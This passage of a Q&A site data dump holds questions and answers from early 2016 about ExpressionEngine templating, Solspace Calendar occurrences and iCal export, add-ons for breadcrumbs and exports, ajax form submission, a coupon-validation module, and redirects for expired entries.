&lt;code&gt;http://www.example.com/initiatives/2016/&lt;/code&gt; . The match will be permanent (&lt;code&gt;301&lt;/code&gt;) and will be case-insensitive ( &lt;code&gt;(?i)&lt;/code&gt;, so &lt;code&gt;/INITiatives/2015/&lt;/code&gt; would also redirect). You can add this line at the end of your &lt;code&gt;.htaccess&lt;/code&gt; file. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-02-10T16:28:03.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35522" PostTypeId="1" CreationDate="2016-02-10T18:17:25.220" Score="0" ViewCount="32" Body="&lt;p&gt;I'm using Solspace Calendar 1.8.14 in ExpressionEngine 2.10.1. According to the Solspace Calendar documentation (&lt;a href=&quot;https://solspace.com/expressionengine/calendar/docs/occurrences/#occurrence_id&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/expressionengine/calendar/docs/occurrences/#occurrence_id&lt;/a&gt;) I should be able to display a unique ID for each event occurrence; however, when I try to display this ID it only shows the shared event_id instead of a unique ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:occurrences event_id='71' date_range_start='today' date_range_end='12 month' upcoming_occurrences_limit='20'}&#xA;    &amp;lt;p&amp;gt;ID: {occurrence_id}&amp;lt;/p&amp;gt;&#xA;{/exp:calendar:occurrences}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above case, &lt;code&gt;{occurrence_id}&lt;/code&gt; displays '71' for each occurrence. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Brady&lt;/p&gt;&#xA;" OwnerUserId="6082" LastActivityDate="2016-03-12T21:04:25.843" Title="Solspace Calendar occurrence_id" Tags="|solspace|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35523" PostTypeId="2" ParentId="35522" CreationDate="2016-02-10T22:23:09.187" Score="0" Body="&lt;p&gt;I apologize for the documentation being a little vague about this, but this is ONLY available for &quot;custom edited occurrences&quot;, which means recurrences that are not just &quot;phantom&quot; ones, but have been edited through the Calendar control panel to create unique field data (title, custom fields, etc) for that particular occurrence. What Calendar does is has to create another channel entry to hold that data. Only occurrences such as these will have a unique occurrence ID (which is the entry ID) that can be filtered on, etc. :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2016-02-10T22:23:09.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35525" PostTypeId="1" CreationDate="2016-02-10T22:28:40.813" Score="0" ViewCount="151" Body="&lt;p&gt;Before upgrading my company's instance of EE to v3 I used &lt;a href=&quot;https://devot-ee.com/add-ons/crumbly&quot; rel=&quot;nofollow&quot;&gt;Crumbly&lt;/a&gt;, which works extremely well for breadcrumb generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it isn't compatible with v3 and I've been unable to find a replacement. How can I go about getting this functionality back, whether through an addon or programatically?&lt;/p&gt;&#xA;" OwnerUserId="3694" LastActivityDate="2016-05-20T17:53:51.967" Title="EE3 breadcrumb solutions" Tags="|navigation|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35526" PostTypeId="1" CreationDate="2016-02-11T04:46:41.447" Score="0" ViewCount="103" Body="&lt;p&gt;I'm having a difficult time trying to troubleshoot what is wrong with my page in expression engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel called site_pages and I'd like to select the entry for it, but it doesn't work... I'm almost sold on just using php for everything because Expression Engine is soooooooo ridiculous to troubleshoot these issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I'm running as a test; this h1 doesn't even render;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;site_pages&quot; url_title=&quot;new&quot;}&#xA;&amp;lt;h1&amp;gt;Hello 1&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm really looking for is this;  But I'm not that advanced yet...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;site_pages&quot; url_title=&quot;new&quot;}&#xA;&amp;lt;img src=&quot;{page_banner}&quot; alt=&quot;header image&quot; class=&quot;img-responsive&quot;/&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got some data to show on the site by creating a new field that matches the url_title and can get data back by this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;site_pages&quot; pageId=&quot;new&quot;}&#xA;&amp;lt;img src=&quot;{page_banner}&quot; alt=&quot;header image&quot; class=&quot;img-responsive&quot;/&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still odd, I can't easily output the query run by expression engine&lt;/p&gt;&#xA;" OwnerUserId="7084" LastEditorUserId="7084" LastEditDate="2016-02-12T04:03:51.107" LastActivityDate="2016-05-23T21:42:13.220" Title="Can I show query output?" Tags="|channel-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35529" PostTypeId="2" ParentId="34662" CreationDate="2016-02-11T11:13:52.360" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://devot-ee.com/add-ons/zeal-smart-export&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/zeal-smart-export&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this module you don't need to do any code and you can also import categories, Grids, relationships as well as Relationships inside Grid.&#xA;The main benefit is that this module is free. :)&lt;/p&gt;&#xA;" OwnerUserId="7087" LastActivityDate="2016-02-11T11:13:52.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35530" PostTypeId="2" ParentId="34856" CreationDate="2016-02-11T11:16:30.113" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://devot-ee.com/add-ons/zeal-smart-export&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/zeal-smart-export&lt;/a&gt; to export data from old site and datagrab module to import the data in new site.&#xA;Unfortunately, Entry id will change for sure&lt;/p&gt;&#xA;" OwnerUserId="7087" LastActivityDate="2016-02-11T11:16:30.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35532" PostTypeId="1" CreationDate="2016-02-11T14:03:18.670" Score="0" ViewCount="41" Body="&lt;p&gt;Is it possible to search/filter based on a related child's category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our results page we always list the parent channel - 'courses'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;90% of the time we search for keywords and categories assigned to the course entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within a course you relate a child entry from the 'course date' channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 'course date' can then be categorised by location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when searching I want to return 'courses' where our child 'course date' location category is X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, and what is the best way to achieve it?&lt;/p&gt;&#xA;" OwnerUserId="886" LastEditorUserId="172" LastEditDate="2016-02-11T14:17:44.230" LastActivityDate="2016-06-10T05:55:25.677" Title="Low Search related child's category" Tags="|search|low-search|related|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35533" PostTypeId="2" ParentId="35532" CreationDate="2016-02-11T14:14:42.987" Score="0" Body="&lt;p&gt;This is not possible out of the box, but I have a (non-public) extension that can help you out. &lt;a href=&quot;http://gotolow.com/contact&quot; rel=&quot;nofollow&quot;&gt;Contact me&lt;/a&gt; if you want to try that out.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-02-11T14:14:42.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35535" PostTypeId="2" ParentId="35525" CreationDate="2016-02-11T15:30:09.183" Score="0" Body="&lt;p&gt;I just recently started an EE3 project. I personally like NavEE. They have a version for EE3 now &lt;a href=&quot;https://devot-ee.com/add-ons/navee-for-expressionengine-3&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Not only does it make navigations easier to manage and customize, but it also creates great dynamic breadcrumbs and sitemaps. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-11T15:30:09.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35536" PostTypeId="2" ParentId="35514" CreationDate="2016-02-11T15:33:04.487" Score="0" Body="&lt;p&gt;You should be able to insert a video from YouTube using the same syntax you would on any other HTML page. However, if you would rather use a plugin to do such, DevDemon has a great, free add on named [Channel Videos].&lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/channel-videos&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt; It may be a touch overkill for this need, but the question doesn't talk of needs much more than just adding a video. As for the docs, you can find them all on the EllisLab website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/latest/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-11T15:33:04.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35537" PostTypeId="2" ParentId="35504" CreationDate="2016-02-11T15:38:00.567" Score="1" Body="&lt;p&gt;I would start with looking at the &lt;code&gt;index.php&lt;/code&gt; file in the &lt;code&gt;/main&lt;/code&gt; directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open it up to verify it's contents. Is it the same as the &lt;code&gt;index.php&lt;/code&gt; file for the home page/root of the website? If so, you need to simply find the original &lt;code&gt;admin.php&lt;/code&gt; file for that install or download another one. Next, rename the &lt;code&gt;admin.php&lt;/code&gt; file from &lt;code&gt;admin.php&lt;/code&gt; to &lt;code&gt;index.php&lt;/code&gt; and move it into the &lt;code&gt;/main&lt;/code&gt; folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you remap the &lt;code&gt;/system&lt;/code&gt; folder relative path in the new &lt;code&gt;/main/index.php&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-11T15:38:00.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35538" PostTypeId="2" ParentId="35458" CreationDate="2016-02-11T15:45:36.637" Score="0" Body="&lt;p&gt;Another thing you may want to look at is Addon Menu. It helps a little. Still similar to clicking your name if you just want Addon Links, but it essentially does it for you.   ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/amphibian/addon_menu.ee_addon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/amphibian/addon_menu.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-11T15:45:36.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35539" PostTypeId="2" ParentId="21878" CreationDate="2016-02-11T15:46:17.917" Score="0" Body="&lt;p&gt;Mike,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We ran into a very similar problem and ended up utilizing the &quot;PVL Increment&quot; plugin: &lt;a href=&quot;https://github.com/pvledoux/Pvl_increment&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pvledoux/Pvl_increment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to create custom variables that are then incremented at a point you determine. We declared our variables in the main template page and incremented them inside embeds used to display product information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glad you found a solution, but for people that might not have the same resources available as you do, this might be a viable solution. &lt;/p&gt;&#xA;" OwnerUserId="7086" LastActivityDate="2016-02-11T15:46:17.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35540" PostTypeId="2" ParentId="35451" CreationDate="2016-02-11T16:53:39.193" Score="0" Body="&lt;p&gt;The only way I know of doing this is to modify the jQuery init settings for the date-picker functionality. EE modifies their scripts to coincide with the EE date variable formatting. I guess you could open up your &lt;code&gt;/themes/ee/asset/javascript/compressed/cp/date_picker.js&lt;/code&gt; file and at the end of &lt;code&gt;line 46&lt;/code&gt;after the &lt;code&gt;var n=EE.date.date_format;&lt;/code&gt;, you could add &lt;code&gt;n=&quot;%l, %j %F %Y&quot;;&lt;/code&gt;. Keep in mind, I don't know what other ramifications this might cause. This formats the date/time object for that field though.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-11T16:53:39.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35541" PostTypeId="1" CreationDate="2016-02-11T17:05:50.977" Score="0" ViewCount="61" Body="&lt;p&gt;I have a client that presents weekly webinars that are set up as recurring events within Solspace Calendar. When a user registers for the event, they receive a link to the following icalendar tempate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:icalendar&#xA;    event_id=&quot;{segment_3}&quot;&#xA;    limit=&quot;1&quot;&#xA;}&#xA;{/exp:calendar:icalendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the ICS file contains all occurrences of the event, which then prompts Outlook to create a new calendar, and iCal and Google Calendar to create multiple events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can isolate a single occurrence, and only output that to the ICS file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the documentation, and there is no mention of using occurrence_id tags in that context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2016-05-17T05:39:04.887" Title="Solspace Calendar Export Single Occurrence of Repeating Event" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35542" PostTypeId="2" ParentId="20974" CreationDate="2016-02-11T17:15:07.757" Score="0" Body="&lt;p&gt;I found that this approach works... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_reorder:entries rules:status=&quot;matches[Open|Drafts]&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2016-02-11T17:15:07.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35543" PostTypeId="1" CreationDate="2016-02-11T20:46:35.603" Score="0" ViewCount="135" Body="&lt;p&gt;I was having a heck of a time trying to get the solspace user module to submit my form via ajax.  I was trying to use the default EE method found here: &lt;a href=&quot;https://docs.expressionengine.com/latest/channel/channel_form/examples.html#ajax-driven-entry-form&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/latest/channel/channel_form/examples.html#ajax-driven-entry-form&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just seemed the user module was ignoring the json=&quot;yes&quot; and any jquery that I wrote.  &lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2016-05-17T22:05:42.937" Title="solspace user - Ajax submit form" Tags="|solspace-user|ajax|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35544" PostTypeId="2" ParentId="35543" CreationDate="2016-02-11T20:46:35.603" Score="0" Body="&lt;p&gt;By searching some other solspace forum product questions I found that &lt;strong&gt;ajax=&quot;yes&quot;&lt;/strong&gt; was needed.  Once I added that to the user {exp:user:register} tag my jquery worked perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why this isn't in the solspace user documentation.  Just thought I'd post it for others having issues with ajax and user.&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2016-02-11T20:46:35.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35545" PostTypeId="1" CreationDate="2016-02-11T21:25:52.283" Score="0" ViewCount="41" Body="&lt;p&gt;All I can see is when they registered and when they last logged in. Can I get more detail - for example, how many times they have logged in, the time they spent on the site etc. Many thanks. &lt;/p&gt;&#xA;" OwnerUserId="7089" LastActivityDate="2016-05-22T09:22:20.370" Title="Can I view how many times a user has logged into my site in EE?" Tags="|add-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35547" PostTypeId="2" ParentId="35526" CreationDate="2016-02-12T07:08:40.600" Score="0" Body="&lt;p&gt;Add the parameter &lt;a href=&quot;https://docs.expressionengine.com/latest/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;dynamic=&quot;no&quot;&lt;/a&gt; to your first tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;site_pages&quot; url_title=&quot;new&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;h1&amp;gt;Hello 1&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="425" LastEditDate="2016-02-13T21:37:47.430" LastActivityDate="2016-02-13T21:37:47.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35548" PostTypeId="2" ParentId="34773" CreationDate="2016-02-12T12:24:33.337" Score="1" Body="&lt;p&gt;In the end I just went ahead and wrote a small module to handle this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Checkout_validate_coupon_url() {&#xA;&#xA;    // Construct the ACT URL&#xA;    $url = $this-&amp;gt;site_url.&quot;?ACT=&quot;.ee()-&amp;gt;functions-&amp;gt;fetch_action_id( $this-&amp;gt;package_name, 'charge_validate_coupon' );&#xA;&#xA;    return $url;&#xA;&#xA;}&#xA;&#xA;// --------------------------------------------------------------------&#xA;&#xA;function Charge_validate_coupon() {&#xA;&#xA;    // Check for coupon&#xA;    $coupon = ee()-&amp;gt;input-&amp;gt;get('coupon');&#xA;    $price = ee()-&amp;gt;input-&amp;gt;get('price');&#xA;&#xA;    if (is_null($coupon) OR is_null($price)) {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    if (!$coupon = ee()-&amp;gt;db-&amp;gt;where('code', $coupon)-&amp;gt;get('charge_coupon')-&amp;gt;row_array()) {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    // New data&#xA;    $data = array(&#xA;        'price' =&amp;gt; $price&#xA;        );&#xA;&#xA;    // Percentage_off OR Amount_off&#xA;    if ($coupon['type']==&quot;percentage&quot;) {&#xA;        $data['price_discounted'] = $price - ($price * ($coupon['percentage_off'] / 100));&#xA;    } else {&#xA;        $data['price_discounted'] = $price - $coupon['amount_off'];&#xA;    }&#xA;&#xA;    // If this is an ajax request return a JSON response&#xA;    if (ee()-&amp;gt;input-&amp;gt;is_ajax_request()) {&#xA;        ee()-&amp;gt;output-&amp;gt;send_ajax_response(array(&#xA;            'success' =&amp;gt; TRUE,&#xA;            'data' =&amp;gt; $data&#xA;            ));&#xA;    }&#xA;&#xA;    return $data;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then added an AJAX call to my Charge payment form which fired on keyup/blur of the coupon input. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2016-02-12T12:24:33.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35549" PostTypeId="2" ParentId="35545" CreationDate="2016-02-12T14:59:56.370" Score="0" Body="&lt;p&gt;The only way I can see to do this would be to catch a successful login and process a tracking cookie or session to capture the time until they logout. You would have to do something that didn't clash with EE's variables, but something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_SESSION['loginTime'] = new DateTime(date('y-m-d h:m:s'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would need to either write an addon or enable PHP though. Once they log out, you could capture the time and log the difference.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-12T14:59:56.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35550" PostTypeId="1" AcceptedAnswerId="35569" CreationDate="2016-02-12T15:25:51.693" Score="0" ViewCount="37" Body="&lt;p&gt;I'm trying to find a way in Calendar for start times that are on the hour (e.g., 8:00pm) to output as &quot;8pm&quot; and for times that are not on the hour (e.g., 8:15pm) to output as &quot;8:15pm&quot;. I'm not figuring out how to write the conditional to do that. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Just to make this a little more clear, I want any times that are on the hour to just be the hour (8:00pm should render as 8pm) and any times that are not on the hour should have the hour and the minutes (8:25pm should render as 8:25pm). &lt;/p&gt;&#xA;" OwnerUserId="2218" LastEditorUserId="2218" LastEditDate="2016-02-12T19:46:05.350" LastActivityDate="2016-02-16T05:26:59.800" Title="Solspace Calendar: conditional for minutes?" Tags="|solspace-calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35551" PostTypeId="2" ParentId="35541" CreationDate="2016-02-12T15:51:29.710" Score="0" Body="&lt;p&gt;Have you tried limiting the event by day? I used this addon for a client recently and found the documentation a little perplexing at times. Luckily, the support was good. However, after playing with it for a while, I was able to achieve everything I needed. It's a pretty powerful addon. The tags you display in your post are pretty simplified. Go through the docs again and review the optional tags available to use. You should be able to limit the output by start date. I had to do this for individual sale dates. You have &lt;code&gt;limit&lt;/code&gt; used, but I don't even think &lt;code&gt;limit&lt;/code&gt; is a parameter calendar even uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this maybe?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:icalendar&#xA;    event_id=&quot;{segment_3}&quot;&#xA;    date_range_start=&quot; (whatever the date that this event starts) &quot;&#xA;    date_range_end=&quot; (again, the day you want to show) &quot;&#xA;    show_days=&quot;1&quot;&#xA;}&#xA;{/exp:calendar:icalendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure this will do it, but the docs should get you there. Depending on how you set up the ability to build the event in the fieldtype determines what parameters you can use and what results you get as well. Depending on how you have that set up, you may have to output an event and then pass that to an embed to get your desired result. You really have to sit and read through the entire documentation to get your head wrapped around this addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, you may have to get creative with things to get what you are after. I don't know your setup, so I can't say what would work, but I'll show you what I ended up with to get my desired results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the way my clients wanted the ability to enter events in every possible way, I had to logically break everything out. Luckily, performance didn't drop any noticeable amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started by looping through the days and checking for events.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    date_range_start=&quot;today&quot;&#xA;    date_range_end=&quot;today&quot;&#xA;    pad_short_weeks=&quot;n&quot;&#xA;    status=&quot;open|closed&quot;&#xA;}&#xA;    {!-- Loop through all days and check them --}&#xA;    {display_each_day}&#xA;        {!-- Ensure that there is an event on this day --}&#xA;        {if day_event_total &amp;gt; 0}&#xA;            {!-- Loop through all events --}&#xA;            {events}&#xA;                {!-- There was an event so we will process the information for the sale --}&#xA;                {embed=&quot;_includes/_event_details&quot; event_id=&quot;{event_id}&quot;}&#xA;            {/events}&#xA;        {/if}&#xA;        {!-- Ensure that there is NOT an event on this day --}&#xA;        {if day_event_total == 0}&#xA;            {!-- No events today. Display message and show upcoming sale instead --}&#xA;            {embed=&quot;_includes/_next_sale&quot;&#xA;                dyn_title=&quot;NEXT&quot;&#xA;            }&#xA;        {/if}&#xA;    {/display_each_day}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For limiting the &quot;Next&quot; sales, I used the &lt;code&gt;cal&lt;/code&gt; tags again with the &lt;code&gt;event_limit&lt;/code&gt; to limit it to a single event.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    event_limit=&quot;1&quot;&#xA;    date_range_start=&quot;today&quot;&#xA;    date_range_end=&quot;365 days&quot;&#xA;    pad_short_weeks=&quot;n&quot;&#xA;    status=&quot;open|closed&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if you could loop through the single days of an event and build the ical from a single day or not though...   ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any of the details, I used an embed to process the event tags using the passed id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events&#xA;    event_id=&quot;{embed:event_id}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    event_limit=&quot;1&quot;&#xA;    status=&quot;open|closed&quot;&#xA;}&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2016-02-12T17:16:15.593" LastActivityDate="2016-02-12T17:16:15.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35552" PostTypeId="2" ParentId="35550" CreationDate="2016-02-12T16:00:57.590" Score="0" Body="&lt;p&gt;You should be able to handle this like any other conditional using the &lt;code&gt;event_start_date&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you wanted something that wasn't a specific hour, but for ANY time, you could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{event_start_date format='%i'}&quot; == &quot;00&quot;}&#xA;    {event_start_date format='%g:%i%A'}&#xA;{if:else}&#xA;    {event_start_date format='%g:15%A'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-12T16:00:57.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35554" PostTypeId="1" CreationDate="2016-02-12T19:15:24.367" Score="0" ViewCount="133" Body="&lt;p&gt;Apologies... I am more end user than developer so I understand just enough coding to be dangerous!  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a question and answer about redirecting an expired URL to another page, and using that code worked... sort of. Navigating to an expired entry's URL did take me to the index page I wanted it to redirect me to while unexpired entries loaded normally, but my problem is with entries that have no expiration date entered because they are open indefinitely.  How do I fix it so that entries with no exp. date set still load while being able to redirect expired ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{channel_name}&quot; status=&quot;open&quot;}&#xA;&#xA;    {if expiration_date &amp;lt; current_time}{redirect=&quot;/resources/jobs&quot;}{/if}&#xA;&#xA;    {!-- page content --}&#xA;&#xA;    ...             &#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7093" LastEditorUserId="3579" LastEditDate="2016-02-12T20:12:22.733" LastActivityDate="2016-02-14T03:57:33.843" Title="Expired entry URL redirect" Tags="|redirects|expire|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35555" PostTypeId="2" ParentId="35545" CreationDate="2016-02-12T19:21:56.783" Score="0" Body="&lt;p&gt;To accomplish acquiring the metrics like your after, I wrote an extension and accessory for a client that writes, login-timestamp, sessionid &amp;amp; user_id to a table, I also do logout as well, but most people don't usually logout making it tough to actually measure time on site. The accessory is a dashboard for the data.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2016-02-12T19:21:56.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35556" PostTypeId="2" ParentId="35554" CreationDate="2016-02-12T20:21:29.307" Score="2" Body="&lt;p&gt;Well, you have a conditional that must be satisfied in order to achieve your redirect. In order to accommodate your requirements, you must address every condition and you are not (though you may think you are!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see, if you don't set an expiration date, that value should output as empty. Think empty... zero... ExpressionEngine is looking at that conditional like this (when there is no &lt;code&gt;{expiration_date}&lt;/code&gt; set)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if 0 &amp;lt; current_time}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, this is always going to be true, so you aren't covering this condition properly. One way to cover this condition is to first make sure that &lt;code&gt;{expiration_date}&lt;/code&gt; is set! This is one way to go about it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if expiration_date &amp;amp;&amp;amp; expiration_date &amp;lt; current_time}&#xA;&#xA;    {!-- Here, we first ask if `expiration_date` is set. If it is,&#xA;      -- we move on to check if the expiration date is less than our &#xA;      -- current time. If these two things are true, this gets executed!&#xA;      --}&#xA;&#xA;    {redirect=&quot;/resources/jobs&quot;}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2016-02-14T03:57:33.843" LastActivityDate="2016-02-14T03:57:33.843" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
